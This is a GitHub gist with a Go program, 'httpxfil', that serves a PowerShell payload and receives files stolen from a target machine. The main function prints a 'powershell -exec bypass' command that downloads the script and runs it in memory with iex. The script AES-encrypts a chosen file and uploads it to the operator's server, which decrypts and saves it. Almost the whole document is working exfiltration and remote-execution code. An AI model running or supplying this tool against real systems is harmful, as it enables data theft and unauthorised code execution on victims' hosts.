Skip to content

Instantly share code, notes, and snippets.

@leoloobeek
Created June 15, 2017 22:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save leoloobeek/8dfb7b21fa34f92e953304df435bda10 to your computer and use it in GitHub Desktop.
Save leoloobeek/8dfb7b21fa34f92e953304df435bda10 to your computer and use it in GitHub Desktop.
Encrypt and send files over HTTP
package main
// httpxfil
// Leo Loobeek 2017
//
// PowerShell code taken from
// https://github.com/EmpireProject/Empire
//
// Exfiltrate a file by encrypting and
// sending via HTTP/S. This was written
// to learn Go and by no means should be
// considered cryptographically secure.
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/hmac"
"crypto/sha256"
"fmt"
"io"
"log"
"math/rand"
"net/http"
"os"
"strings"
"time"
)
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
// https://stackoverflow.com/questions/22892120/how-to-generate-a-random-string-of-a-fixed-length-in-golang
func randStringBytes(n int) string {
rand.Seed(time.Now().UTC().UnixNano())
b := make([]byte, n)
for i := range b {
b[i] = letterBytes[rand.Intn(len(letterBytes))]
}
return string(b)
}
func buildPSCommand(server string, key string) string {
var buffer bytes.Buffer
buffer.WriteString("powershell.exe -exec bypass -command \"")
buffer.WriteString("$wc=New-Object Net.WebClient;")
buffer.WriteString("$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;")
buffer.WriteString("iex($wc.DownloadString('")
buffer.WriteString(server)
buffer.WriteString("')); ")
buffer.WriteString("Send-EncryptedFile ")
buffer.WriteString(key)
buffer.WriteString(" <path to file>")
return buffer.String()
}
// https://golang.org/pkg/crypto/hmac/
func verifyHMAC(key, receivedMAC, ciphertext []byte) bool {
mac := hmac.New(sha256.New, key)
mac.Write(ciphertext)
expectedMAC := mac.Sum(nil)
return hmac.Equal(receivedMAC, expectedMAC)
}
// https://leanpub.com/gocrypto/read#leanpub-auto-encrypting-and-decrypting-data-with-aes-cbc
func unpad(in []byte) []byte {
if len(in) == 0 {
return nil
}
padding := in[len(in)-1]
if int(padding) > len(in) || padding > aes.BlockSize {
return nil
} else if padding == 0 {
return nil
}
for i := len(in) - 1; i > len(in)-int(padding)-1; i-- {
if in[i] != padding {
return nil
}
}
return in[:len(in)-int(padding)]
}
// https://golang.org/pkg/crypto/cipher/#NewCBCDecrypter
func decryptAES(key, ciphertext []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
if len(ciphertext) < aes.BlockSize {
panic("ciphertext too short")
}
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]
if len(ciphertext)%aes.BlockSize != 0 {
panic("ciphertext is not a multiple of the block size")
}
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(ciphertext, ciphertext)
return unpad(ciphertext)
}
func writeFile(contents []byte) {
filename := "file"
f, err := os.Create("file")
if err != nil {
panic(err)
}
defer f.Close()
num, err := f.Write(contents)
if err != nil {
panic(err)
}
log.Printf("wrote %d bytes to %s\n", num, filename)
}
func receiveFile(w http.ResponseWriter, r *http.Request, key []byte) {
if r.Method != "POST" {
return
}
log.Printf("[*] Incoming POST from %s", r.RemoteAddr)
var Buf bytes.Buffer
io.Copy(&Buf, r.Body)
bytes := []byte(Buf.Bytes())
// strip off hmac
hmac := bytes[len(bytes)-32 : len(bytes)]
bytes = bytes[:len(bytes)-32]
// verify the HMAC and then decrypt
if verifyHMAC(key, hmac, bytes) {
decryptedBytes := decryptAES(key, bytes)
writeFile(decryptedBytes)
} else {
log.Printf("[!] HMAC was not verified from %s", r.RemoteAddr)
}
Buf.Reset()
return
}
func sendPSScript(w http.ResponseWriter, r *http.Request, server string) {
script := `
function Send-EncryptedFile {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true,Position=1)]
$Key,
[Parameter(Mandatory=$true,Position=2)]
$Path
)
$bytes = [System.IO.File]::ReadAllBytes((Convert-Path $Path))
# set up key/bytes
$e = [System.Text.Encoding]::ASCII
$key = $e.GetBytes($Key)
# set up AES
try {
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
}
catch {
$AES=New-Object System.Security.Cryptography.RijndaelManaged;
}
$AES.Mode = "CBC"
$AES.Key = $key
$AES.GenerateIV()
# set up HMAC
$HMAC = New-Object System.Security.Cryptography.HMACSHA256
$HMAC.Key = $key
# where the fun happens
$data = $AES.IV + $AES.CreateEncryptor().TransformFinalBlock($bytes,0,$bytes.Length);
$data = $data + $HMAC.ComputeHash($data);
$wc = New-Object Net.WebClient
$wc.UploadData("REPLACE_ME", $data)
}`
script = strings.Replace(script, "REPLACE_ME", server, 1)
io.WriteString(w, script)
}
func main() {
if len(os.Args) != 2 {
panic("\nhttpxfil <ip address>\n")
}
// TODO: add support for HTTPS
// change ports
// change paths
port := ":8080"
server := fmt.Sprintf("%s%s", os.Args[1], port)
uploadPath := fmt.Sprintf("http://%s/upload", server)
scriptPath := fmt.Sprintf("http://%s/script", server)
// generate a key
key := []byte(randStringBytes(32))
// handle uploads of encrypted bytes
http.HandleFunc("/upload", func(w http.ResponseWriter, r *http.Request) {
receiveFile(w, r, key)
})
// facilitate iex cradles
http.HandleFunc("/script", func(w http.ResponseWriter, r *http.Request) {
sendPSScript(w, r, uploadPath)
})
fmt.Println("Run the following on your host:")
fmt.Println(buildPSCommand(scriptPath, string(key)))
http.ListenAndServe(port, nil)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment